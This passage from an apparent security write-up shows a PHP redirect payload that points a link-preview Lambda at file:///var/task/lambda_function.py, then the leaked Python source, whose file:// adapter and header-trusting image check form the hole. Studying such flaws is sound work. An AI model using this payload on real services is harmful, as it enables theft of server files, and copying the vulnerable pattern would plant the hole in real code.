style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">array<\/span><span style=\"color: #F8F8F2\">(<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">   <\/span><span style=\"color: #E6DB74\">&#39;Location&#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=&gt;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;file:\/\/\/var\/task\/lambda_function.py&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">   <\/span><span style=\"color: #E6DB74\">&#39;Content-Type&#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">=&gt;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;image\/svg&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    );<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">foreach<\/span><span style=\"color: #F8F8F2\"> ($headers <\/span><span style=\"color: #F92672\">as<\/span><span style=\"color: #F8F8F2\"> $headerType <\/span><span style=\"color: #F92672\">=&gt;<\/span><span style=\"color: #F8F8F2\"> $headerValue)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #66D9EF\">header<\/span><span style=\"color: #F8F8F2\">($headerType <\/span><span style=\"color: #F92672\">.<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;: &#39;<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">.<\/span><span style=\"color: #F8F8F2\"> $headerValue);<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    }<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">?&gt;<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">Sending the request, I got this:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"640\" height=\"448\" src=\"http:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-29.png\" alt=\"\" class=\"wp-image-62\" srcset=\"https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-29.png 640w, https:\/\/thered0ne.com\/wp-content\/uploads\/2023\/01\/image-29-300x210.png 300w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><\/figure>\n<\/div>\n\n\n<p class=\"wp-block-paragraph\">Let&#8217;s clean our code, and here is the final result:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:block;padding:16px 0 0 16px;margin-bottom:-1px;width:100%;text-align:left;background-color:#272822\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" width=\"54\" height=\"14\" viewBox=\"0 0 54 14\"><g fill=\"none\" fill-rule=\"evenodd\" transform=\"translate(1 1)\"><circle cx=\"6\" cy=\"6\" r=\"6\" fill=\"#FF5F56\" stroke=\"#E0443E\" stroke-width=\".5\"><\/circle><circle cx=\"26\" cy=\"6\" r=\"6\" fill=\"#FFBD2E\" stroke=\"#DEA123\" stroke-width=\".5\"><\/circle><circle cx=\"46\" cy=\"6\" r=\"6\" fill=\"#27C93F\" stroke=\"#1AAB29\" stroke-width=\".5\"><\/circle><\/g><\/svg><\/span><span role=\"button\" tabindex=\"0\" style=\"color:#F8F8F2;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><pre class=\"code-block-pro-copy-button-pre\" aria-hidden=\"true\"><textarea class=\"code-block-pro-copy-button-textarea\" tabindex=\"-1\" aria-hidden=\"true\" readonly>import json\nimport requests\nfrom bs4 import BeautifulSoup\nfrom urllib.parse import urlparse\nimport fleep\nimport base64\nimport os\nimport sys\nfrom urllib.request import url2pathname\n\nclass LocalFileAdapter(requests.adapters.BaseAdapter):\n    \"\"\"Protocol Adapter to allow Requests to GET file:\/\/ URLs\n\n    @todo: Properly handle non-empty hostname portions.\n    \"\"\"\n\n    @staticmethod\n    def _chkpath(method, path):\n        \"\"\"Return an HTTP status for the given filesystem path.\"\"\"\n        if method.lower() in ('put', 'delete'):\n            return 501, \"Not Implemented\"  # TODO\n        elif method.lower() not in ('get', 'head'):\n            return 405, \"Method Not Allowed\"\n        elif os.path.isdir(path):\n            return 400, \"Path Not A File\"\n        elif not os.path.isfile(path):\n            return 404, \"File Not Found\"\n        elif not os.access(path, os.R_OK):\n            return 403, \"Access Denied\"\n        else:\n            return 200, \"OK\"\n\n    def send(self, req, **kwargs):\n        # pylint: disable=unused-argument\n        \"\"\"Return the file specified by the given request\n\n        @type req: C{PreparedRequest}\n        @todo: Should I bother filling `response.headers` and processing\n               If-Modified-Since and friends using `os.stat`?\n        \"\"\"\n        path = os.path.normcase(os.path.normpath(url2pathname(req.path_url)))\n        response = requests.Response()\n\n        response.status_code, response.reason = self._chkpath(req.method, path)\n        if response.status_code == 200 and req.method.lower() != 'head':\n            try:\n                response.raw = open(path, 'rb')\n            except (OSError, IOError) as err:\n                response.status_code = 500\n                response.reason = str(err)\n\n        if isinstance(req.url, bytes):\n            response.url = req.url.decode('utf-8')\n        else:\n            response.url = req.url\n\n        response.request = req\n        response.connection = self\n\n        return response\n\n    def close(self):\n        pass\n\ndef get_og(url):\n    r = requests.get(url,headers={'user-agent':'Buggybot\/1.0'})\n    soup = BeautifulSoup(r.text, 'html.parser')\n    metas = soup.find_all('meta', attrs={\"property\":True})\n    ogs = {meta&#91;'property'&#93;:meta&#91;'content'&#93; for meta in metas if meta&#91;'property'&#93;.startswith('og:')}\n    return {\n        'title':ogs.get('og:title',''),\n        'description':ogs.get('og:description',''),\n        'image_url':ogs.get('og:image',''),\n    }\n\ndef get_image_bytes(image_url):\n    # set up requests session like stack overflow told me to\n    requests_session = requests.session()\n    requests_session.mount('file:\/\/', LocalFileAdapter())\n    # verify the thing we are about to download is an image\n    r_head = requests_session.head(image_url, stream=True, headers={'user-agent':'Buggybot\/1.0'})\n    if not ('image' in r_head.headers.get('Content-Type') or 'image' in r_head.headers.get('content-type')):\n        raise Exception(\"Image Failed HEAD Test\")\n    # download thing\n    r = requests_session.get(image_url, stream=True, headers={'user-agent':'Buggybot\/1.0'})\n    img = r.content\n    return img\n\ndef get_image_mimetype(image_bytes):\n    f = fleep.get(image_bytes)\n    if len(f.mime) > 0:\n        return f.mime&#91;0&#93;\n    else:\n        return ''\n    \nvalid_image_extensions = &#91;'.jpg','.png','.gif','.svg'&#93;\ndef get_image_content(image_url):\n    # verify the url has an acceptable extension\n    has_valid_extension = any(&#91;ext in image_url for ext in valid_image_extensions&#93;)\n    # verify the url starts with http\n    if image_url.startswith('http') and has_valid_extension:\n        # download the image content\n        image_bytes = get_image_bytes(image_url)\n        if image_bytes == None:\n            raise Exception('Not Found')\n        # check file magic bytes\n        mimetype = get_image_mimetype(image_bytes)\n        if '.jpg' in image_url and mimetype == 'image\/jpeg':\n            return (base64.b64encode(image_bytes),True,mimetype)\n        elif '.png' in image_url and mimetype == 'image\/png':\n            return (base64.b64encode(image_bytes),True,mimetype)\n        elif '.gif' in image_url and mimetype == 'image\/gif':\n            return (base64.b64encode(image_bytes),True,mimetype)\n        elif '.svg' in image_url:\n            # svg is basically a text file. no need to look at magic bytes\n            return (image_bytes ,False,'image\/svg+xml')\n        else:\n            raise Exception('Unable to Process Image')\n    else:\n        raise Exception('Invalid Image URL')\n    \ndef lambda_handler(event, context):\n\n    try:\n        # get url from request\n        body = event.get('body','')\n        json_body = json.loads(body)\n        url = json_body&#91;'url'&#93;\n        \n        # get the request time\n        request_time = int(json_body&#91;'requestTime'&#93;)\n        \n        # get open graph data\n        og_data = get_og(url)\n        \n        # add the request time\n        og_data&#91;'requestTime'&#93; = request_time;\n        \n        # add parsed domain\n        og_data&#91;'domain'&#93; = urlparse(url).netloc\n        \n        if og_data&#91;'image_url'&#93; != '':\n            try:\n                # attempt to download the image content\n                (img,needed_encoding,mimetype) = get_image_content(og_data&#91;'image_url'&#93;)\n                img_json = {\n                    'content' : img.decode(),\n                    'encoded' : needed_encoding,\n                    'mimetype' : mimetype\n                }\n                og_data&#91;'image'&#93; = img_json\n            except Exception as e:\n                og_data&#91;'image'&#93; = {'error':str(e)}\n                \n        # remove the og:image\n        del og_data&#91;'image_url'&#93;\n        \n        return {\n            'statusCode': 200,\n            'body': json.dumps(og_data),\n            'headers': {'access-control-allow-origin': '*'}\n        }\n    except Exception as e:\n        return {\n            'statusCode': 400,\n            'body':'Error, unable to fetch website preview',\n            'headers': {'access-control-allow-origin': '*'}\n        }\n<\/textarea><\/pre><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki monokai\" style=\"background-color: #272822\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #F92672\">import<\/span><span style=\"color: #F8F8F2\"> json<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">import<\/span><span style=\"color: #F8F8F2\"> requests<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">from<\/span><span style=\"color: #F8F8F2\"> bs4 <\/span><span style=\"color: #F92672\">import<\/span><span style=\"color: #F8F8F2\"> BeautifulSoup<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">from<\/span><span style=\"color: #F8F8F2\"> urllib.parse <\/span><span style=\"color: #F92672\">import<\/span><span style=\"color: #F8F8F2\"> urlparse<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">import<\/span><span style=\"color: #F8F8F2\"> fleep<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">import<\/span><span style=\"color: #F8F8F2\"> base64<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">import<\/span><span style=\"color: #F8F8F2\"> os<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">import<\/span><span style=\"color: #F8F8F2\"> sys<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F92672\">from<\/span><span style=\"color: #F8F8F2\"> urllib.request <\/span><span style=\"color: #F92672\">import<\/span><span style=\"color: #F8F8F2\"> url2pathname<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">class<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E; text-decoration: underline\">LocalFileAdapter<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #A6E22E; font-style: italic; text-decoration: underline\">requests<\/span><span style=\"color: #F8F8F2\">.<\/span><span style=\"color: #A6E22E; font-style: italic; text-decoration: underline\">adapters<\/span><span style=\"color: #F8F8F2\">.<\/span><span style=\"color: #A6E22E; font-style: italic; text-decoration: underline\">BaseAdapter<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #E6DB74\">&quot;&quot;&quot;Protocol Adapter to allow Requests to GET file:\/\/ URLs<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #E6DB74\">    @todo: Properly handle non-empty hostname portions.<\/span><\/span>\n<span class=\"line\"><span style=\"color: #E6DB74\">    &quot;&quot;&quot;<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #A6E22E\">@<\/span><span style=\"color: #66D9EF; font-style: italic\">staticmethod<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">_chkpath<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">method<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">path<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #E6DB74\">&quot;&quot;&quot;Return an HTTP status for the given filesystem path.&quot;&quot;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> method.lower() <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> (<\/span><span style=\"color: #E6DB74\">&#39;put&#39;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #E6DB74\">&#39;delete&#39;<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">501<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #E6DB74\">&quot;Not Implemented&quot;<\/span><span style=\"color: #F8F8F2\">  <\/span><span style=\"color: #88846F\"># <\/span><span style=\"color: #F92672\">TODO<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">elif<\/span><span style=\"color: #F8F8F2\"> method.lower() <\/span><span style=\"color: #F92672\">not<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> (<\/span><span style=\"color: #E6DB74\">&#39;get&#39;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #E6DB74\">&#39;head&#39;<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">405<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #E6DB74\">&quot;Method Not Allowed&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">elif<\/span><span style=\"color: #F8F8F2\"> os.path.isdir(path):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">400<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #E6DB74\">&quot;Path Not A File&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">elif<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">not<\/span><span style=\"color: #F8F8F2\"> os.path.isfile(path):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">404<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #E6DB74\">&quot;File Not Found&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">elif<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">not<\/span><span style=\"color: #F8F8F2\"> os.access(path, os.<\/span><span style=\"color: #AE81FF\">R_OK<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">403<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #E6DB74\">&quot;Access Denied&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">else<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">200<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #E6DB74\">&quot;OK&quot;<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">send<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">self<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">req<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #F92672\">**<\/span><span style=\"color: #FD971F; font-style: italic\">kwargs<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #88846F\"># pylint: disable=unused-argument<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #E6DB74\">&quot;&quot;&quot;Return the file specified by the given request<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #E6DB74\">        @type req: C{PreparedRequest}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #E6DB74\">        @todo: Should I bother filling `response.headers` and processing<\/span><\/span>\n<span class=\"line\"><span style=\"color: #E6DB74\">               If-Modified-Since and friends using `os.stat`?<\/span><\/span>\n<span class=\"line\"><span style=\"color: #E6DB74\">        &quot;&quot;&quot;<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        path <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> os.path.normcase(os.path.normpath(url2pathname(req.path_url)))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        response <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> requests.Response()<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        response.status_code, response.reason <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #FD971F\">self<\/span><span style=\"color: #F8F8F2\">._chkpath(req.method, path)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> response.status_code <\/span><span style=\"color: #F92672\">==<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">200<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">and<\/span><span style=\"color: #F8F8F2\"> req.method.lower() <\/span><span style=\"color: #F92672\">!=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #E6DB74\">&#39;head&#39;<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">try<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                response.raw <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">open<\/span><span style=\"color: #F8F8F2\">(path, <\/span><span style=\"color: #E6DB74\">&#39;rb&#39;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            <\/span><span style=\"color: #F92672\">except<\/span><span style=\"color: #F8F8F2\"> (<\/span><span style=\"color: #66D9EF; font-style: italic\">OSError<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #66D9EF; font-style: italic\">IOError<\/span><span style=\"color: #F8F8F2\">) <\/span><span style=\"color: #F92672\">as<\/span><span style=\"color: #F8F8F2\"> err:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                response.status_code <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #AE81FF\">500<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">                response.reason <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF; font-style: italic\">str<\/span><span style=\"color: #F8F8F2\">(err)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #66D9EF\">isinstance<\/span><span style=\"color: #F8F8F2\">(req.url, <\/span><span style=\"color: #66D9EF; font-style: italic\">bytes<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            response.url <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> req.url.decode(<\/span><span style=\"color: #E6DB74\">&#39;utf-8&#39;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">else<\/span><span style=\"color: #F8F8F2\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">            response.url <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> req.url<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        response.request <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> req<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        response.connection <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #FD971F\">self<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> response<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">close<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">self<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #F92672\">pass<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">get_og<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">url<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    r <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> requests.get(url,<\/span><span style=\"color: #FD971F; font-style: italic\">headers<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\">{<\/span><span style=\"color: #E6DB74\">&#39;user-agent&#39;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #E6DB74\">&#39;Buggybot\/1.0&#39;<\/span><span style=\"color: #F8F8F2\">})<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    soup <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> BeautifulSoup(r.text, <\/span><span style=\"color: #E6DB74\">&#39;html.parser&#39;<\/span><span style=\"color: #F8F8F2\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    metas <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> soup.find_all(<\/span><span style=\"color: #E6DB74\">&#39;meta&#39;<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">attrs<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\">{<\/span><span style=\"color: #E6DB74\">&quot;property&quot;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #AE81FF\">True<\/span><span style=\"color: #F8F8F2\">})<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    ogs <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> {meta&#91;<\/span><span style=\"color: #E6DB74\">&#39;property&#39;<\/span><span style=\"color: #F8F8F2\">&#93;:meta&#91;<\/span><span style=\"color: #E6DB74\">&#39;content&#39;<\/span><span style=\"color: #F8F8F2\">&#93; <\/span><span style=\"color: #F92672\">for<\/span><span style=\"color: #F8F8F2\"> meta <\/span><span style=\"color: #F92672\">in<\/span><span style=\"color: #F8F8F2\"> metas <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> meta&#91;<\/span><span style=\"color: #E6DB74\">&#39;property&#39;<\/span><span style=\"color: #F8F8F2\">&#93;.startswith(<\/span><span style=\"color: #E6DB74\">&#39;og:&#39;<\/span><span style=\"color: #F8F8F2\">)}<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">return<\/span><span style=\"color: #F8F8F2\"> {<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #E6DB74\">&#39;title&#39;<\/span><span style=\"color: #F8F8F2\">:ogs.get(<\/span><span style=\"color: #E6DB74\">&#39;og:title&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&#39;&#39;<\/span><span style=\"color: #F8F8F2\">),<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #E6DB74\">&#39;description&#39;<\/span><span style=\"color: #F8F8F2\">:ogs.get(<\/span><span style=\"color: #E6DB74\">&#39;og:description&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&#39;&#39;<\/span><span style=\"color: #F8F8F2\">),<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">        <\/span><span style=\"color: #E6DB74\">&#39;image_url&#39;<\/span><span style=\"color: #F8F8F2\">:ogs.get(<\/span><span style=\"color: #E6DB74\">&#39;og:image&#39;<\/span><span style=\"color: #F8F8F2\">,<\/span><span style=\"color: #E6DB74\">&#39;&#39;<\/span><span style=\"color: #F8F8F2\">),<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    }<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #66D9EF; font-style: italic\">def<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #A6E22E\">get_image_bytes<\/span><span style=\"color: #F8F8F2\">(<\/span><span style=\"color: #FD971F; font-style: italic\">image_url<\/span><span style=\"color: #F8F8F2\">):<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #88846F\"># set up requests session like stack overflow told me to<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    requests_session <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> requests.session()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    requests_session.mount(<\/span><span style=\"color: #E6DB74\">&#39;file:\/\/&#39;<\/span><span style=\"color: #F8F8F2\">, LocalFileAdapter())<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #88846F\"># verify the thing we are about to download is an image<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    r_head <\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\"> requests_session.head(image_url, <\/span><span style=\"color: #FD971F; font-style: italic\">stream<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #AE81FF\">True<\/span><span style=\"color: #F8F8F2\">, <\/span><span style=\"color: #FD971F; font-style: italic\">headers<\/span><span style=\"color: #F92672\">=<\/span><span style=\"color: #F8F8F2\">{<\/span><span style=\"color: #E6DB74\">&#39;user-agent&#39;<\/span><span style=\"color: #F8F8F2\">:<\/span><span style=\"color: #E6DB74\">&#39;Buggybot\/1.0&#39;<\/span><span style=\"color: #F8F8F2\">})<\/span><\/span>\n<span class=\"line\"><span style=\"color: #F8F8F2\">    <\/span><span style=\"color: #F92672\">if<\/span><span style=\"color: #F8F8F2\"> <\/span><span style=\"color: #F92672\">not<\/span><span style=\"color: #F8F8F2\"> (<\/span><span style=\"color: #E6DB74\">&#39;image&#39;<\/span><span 